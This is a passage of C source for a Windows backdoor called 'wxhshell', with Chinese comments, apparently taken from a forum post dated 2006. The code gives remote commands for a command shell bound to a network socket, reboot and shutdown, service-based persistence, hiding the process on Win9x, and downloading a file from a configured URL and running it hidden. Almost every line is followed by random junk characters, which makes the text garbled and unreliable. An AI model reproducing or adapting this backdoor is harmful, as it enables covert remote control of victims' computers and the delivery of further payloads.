      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +;#Y]xy:  
    break; 3>R#zJf  
  } ? P( ZA  
  // 安装 uoXAQ6k  
  case 'i': { >|twyb  
    if(Install()) O }(VlR2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +TQ47Z c  
    else ad:&$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M $Es%  
    break; _c, '>aH=  
    }  }(1JaG  
  // 卸载 n(L\||#+  
  case 'r': { qU#BJON]BR  
    if(Uninstall()) ,B0_MDA +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gMaN)ESqd4  
    else Dg} Ka7H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pri`K/  
    break; 6Qx#%,U^ J  
    } ;ByOth|9P  
  // 显示 wxhshell 所在路径 JXu$ew>q  
  case 'p': { ?_Q/}@`  
    char svExeFile[MAX_PATH]; DBCK2PlJ  
    strcpy(svExeFile,"\n\r"); qHP78&wUx  
      strcat(svExeFile,ExeFile); `$B3X  
        send(wsh,svExeFile,strlen(svExeFile),0); 82]vkU  
    break; @ )-$kk*  
    } JM\m)RH0  
  // 重启 |'{zri|A"  
  case 'b': { 9M1d%jT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )I$q5%q8  
    if(Boot(REBOOT)) o4zM)\;F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ltD37QZQ  
    else { FN%m0"/Z{t  
    closesocket(wsh); 61j I  
    ExitThread(0); WN_pd%m  
    } {FG|\nPw  
    break; Ko/ I#)  
    } ^4`Px/&  
  // 关机 &ZX{R#[L  
  case 'd': { r?*NhLG ;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S-'fS2  
    if(Boot(SHUTDOWN)) }-o{ASC#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BYo/57&:  
    else { qg}O/K  
    closesocket(wsh); $LLA,?;!  
    ExitThread(0); @;H,gEH^  
    } SY^dWLf  
    break; Iz{R}#8CZ  
    } P b]3&!a  
  // 获取shell y T#{UA^  
  case 's': { 4|`Bq}sjZf  
    CmdShell(wsh); o,!T2&}  
    closesocket(wsh); x"CZ]p&m  
    ExitThread(0); p!<$vE  
    break; 3t0[^cY8=z  
  } B-T/V-c7  
  // 退出 yin'vgQ  
  case 'x': { ,s_T pq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]+m/;&0  
    CloseIt(wsh); a<A+4uXyD  
    break; @j4U^"_QB  
    } yx<WSgWZ[  
  // 离开 !Y:0c#MPH  
  case 'q': { a+9 *@z2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DS%\SrC  
    closesocket(wsh); %Jf<l&K .`  
    WSACleanup(); f5GdZ_  
    exit(1); ?*oKX  
    break; Z xb_K  
        } d|*"IFe  
  } \6 93kQ  
  } B=@ jWz"  
D r~=o%  
  // 提示信息 @YH+c G|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XZ/[v8  
} \G2B?>E;  
  } ~-83Q5/[  
,\aUq|~  
  return; tL+OCLF;  
} ~Gqno  
KnNh9^4"\2  
// shell模块句柄 C P3<1~  
int CmdShell(SOCKET sock) kpI{KISQu  
{ 0liR  
STARTUPINFO si; D)brPMS:o  
ZeroMemory(&si,sizeof(si)); EOoZoVdzx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /S\cU`ZVe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TbehR:B5g  
PROCESS_INFORMATION ProcessInfo; cM_ Fp  
char cmdline[]="cmd"; X{g%kf,D=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pfd#N[c  
  return 0; ,b$2=JO'f  
} =ORf%f5"'  
CVi`bO4\  
// 自身启动模式 <q,+ON\'  
int StartFromService(void) a0*2) uL}  
{ poJg"R4  
typedef struct Ft@Wyo`^  
{ 0~& "  
  DWORD ExitStatus;  j4R 4H;  
  DWORD PebBaseAddress; 'lS `s(  
  DWORD AffinityMask; `E\imL  
  DWORD BasePriority; b59{)u4F  
  ULONG UniqueProcessId; Y&2aO1  
  ULONG InheritedFromUniqueProcessId; ?R5'#|EyX  
}   PROCESS_BASIC_INFORMATION; wVq\FY%  
jvVi%k  
PROCNTQSIP NtQueryInformationProcess; AA:no=  
YGsS4ia*4i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Vq`z]}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +3,|"g::  
Z7jX9e"L  
  HANDLE             hProcess; OSzjK7:  
  PROCESS_BASIC_INFORMATION pbi; s~},y]YV  
y@wF_WX2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qeb}!k2A  
  if(NULL == hInst ) return 0; \O7J=6fn  
MF[z -7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  l>v{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?G? gy2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ewo*yY>  
MjaUdfx  
  if (!NtQueryInformationProcess) return 0; nE y]`  
CQODXB^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v.W{x?5  
  if(!hProcess) return 0; WP-jtZ?!"  
}iIbcA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z#<P} }  
AH.9A_dG  
  CloseHandle(hProcess); wUi(3g|A  
zzvlI66e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U '[?9/T  
if(hProcess==NULL) return 0; jiIST^Zq#t  
Fu8 7fVi/\  
HMODULE hMod; H]&!'\aUz  
char procName[255]; i ilyw_$H  
unsigned long cbNeeded; YDiN^q7  
DM3B]Yl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S2$5!(P  
T{*^_  
  CloseHandle(hProcess); H?}wl%  
rbk<z\pc  
if(strstr(procName,"services")) return 1; // 以服务启动 NcL =z o<  
FsCwF&/q  
  return 0; // 注册表启动 F>:%Cyo0!  
} 7unA"9=[4V  
j$eCe< .3  
// 主模块 L2U x9_S  
int StartWxhshell(LPSTR lpCmdLine) ~HP LV  
{ |l90g|isJ  
  SOCKET wsl; I^fP k  
BOOL val=TRUE; 6MrKi|'X@  
  int port=0; GhnE>d;i  
  struct sockaddr_in door; \; bW h  
<q7s`,rG  
  if(wscfg.ws_autoins) Install(); f]}}yBte`  
X}apxSd"  
port=atoi(lpCmdLine); Tkrx7C s(  
`F,zenk=  
if(port<=0) port=wscfg.ws_port; *5wv%-  
\:sk9k  
  WSADATA data; u g6r]0]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i=Kvz4h  
[&n|\!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y}/jR6hK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -fM1$/]  
  door.sin_family = AF_INET; z\[(g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fH!=Zb_{8  
  door.sin_port = htons(port); -]&<Sr-  
nx :)k-p_[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { szn%wZW  
closesocket(wsl); K%<GU1]-]  
return 1; 4 ? {*(  
} $f(agG]  
{gIEZ{  
  if(listen(wsl,2) == INVALID_SOCKET) { 7Jc<.Z"/Gd  
closesocket(wsl); ^%zNa6BL  
return 1; ork|yj/A  
} %EB;1  
  Wxhshell(wsl); S%V%!803!  
  WSACleanup(); ~D!ESe*=  
]1Qi=2'  
return 0; j}RM.C\7  
'WnpwY  
} 8AX3C s_G  
6+#,=!hF{  
// 以NT服务方式启动 RD9Y k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qqD0R*(C  
{ <|dj^.^  
DWORD   status = 0; A xR\ ned  
  DWORD   specificError = 0xfffffff; HtS#_y%(  
Dzm qR0)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @_uFX!;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "{6KZ!+0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }amE6  
  serviceStatus.dwWin32ExitCode     = 0; xx}'l:}2 ]  
  serviceStatus.dwServiceSpecificExitCode = 0; 4= $!_,.  
  serviceStatus.dwCheckPoint       = 0; k#-[ M.i  
  serviceStatus.dwWaitHint       = 0; :`j"Sj !t3  
L`JY4JM"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *q[^Q'jnN  
  if (hServiceStatusHandle==0) return; rOhA*_EG  
7Fc |  
status = GetLastError(); ;9Hz{ej  
  if (status!=NO_ERROR) TR_(_Yd?36  
{ X[Y #+z4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hAYQ6g$A  
    serviceStatus.dwCheckPoint       = 0; tl2Lq0  
    serviceStatus.dwWaitHint       = 0; @nW'(x(  
    serviceStatus.dwWin32ExitCode     = status; f 3\w99\o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?~]>H A:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H.f9d.<W%  
    return; s>V*=#L  
  } w`"W3(  
Z*;*I<-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C=M?  
  serviceStatus.dwCheckPoint       = 0; 8F.(]@NY  
  serviceStatus.dwWaitHint       = 0; *E$H;wKs8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KS8\F0q  
} s')!<E+z\t  
wP+'04H0  
// 处理NT服务事件,比如:启动、停止 UYl JO{|a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N n:m+ZDo^  
{ C3^X1F0  
switch(fdwControl) 5 ,g$|,Shv  
{  ; \Y-  
case SERVICE_CONTROL_STOP:  #=>kw^5  
  serviceStatus.dwWin32ExitCode = 0; g(M(Hn7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F&-5&'6G+  
  serviceStatus.dwCheckPoint   = 0; Di]Iy  
  serviceStatus.dwWaitHint     = 0; t,UW&iLK  
  { ^$3w&$K*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q|m#IVc  
  } i,\t]EJAU  
  return; zkw0jX~  
case SERVICE_CONTROL_PAUSE: >0[qi1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *T1L )Cp  
  break; 9p!dQx  
case SERVICE_CONTROL_CONTINUE: k0Oc,P`'*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a2 IV!0x  
  break; zhD`\&G.  
case SERVICE_CONTROL_INTERROGATE: \["1N-q b  
  break; m|g$'vjk  
}; ZfF`kD\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4p0IBfVG  
} rQAbN6  
xQcMQ{&;  
// 标准应用程序主函数 -#:Y+"'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E$oA+n~  
{ !)=#p9  
as\)S?0`.  
// 获取操作系统版本 $]`'Mi  
OsIsNt=GetOsVer(); bDcWb2 lqs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +$Ddd`J'  
?.|wfBI  
  // 从命令行安装 gw*yIZ@3)  
  if(strpbrk(lpCmdLine,"iI")) Install(); cPa 0n4  
"fX8xZdS  
  // 下载执行文件 +;4AG::GN  
if(wscfg.ws_downexe) { bE%mgaOh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8M5!5Jzv  
  WinExec(wscfg.ws_filenam,SW_HIDE); r A&#>R`  
} *U5> j#,  
z;Gbqr?{{  
if(!OsIsNt) { Z{|.xgsY  
// 如果时win9x,隐藏进程并且设置为注册表启动 6H. L!tUI  
HideProc(); lFzQG:k@  
StartWxhshell(lpCmdLine); b smoLT  
} g~WNL^GGS  
else ML9T (th6v  
  if(StartFromService()) UO7a}Tz<  
  // 以服务方式启动 GurE7J^=  
  StartServiceCtrlDispatcher(DispatchTable); `)xU;-  
else +{ ,w#@  
  // 普通方式启动 M<|~MR  
  StartWxhshell(lpCmdLine); _|Kv~\G!  
PxCl]~v  
return 0; 5)o-]S>  
}
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只看该作者 1 发表于: 2006-10-10
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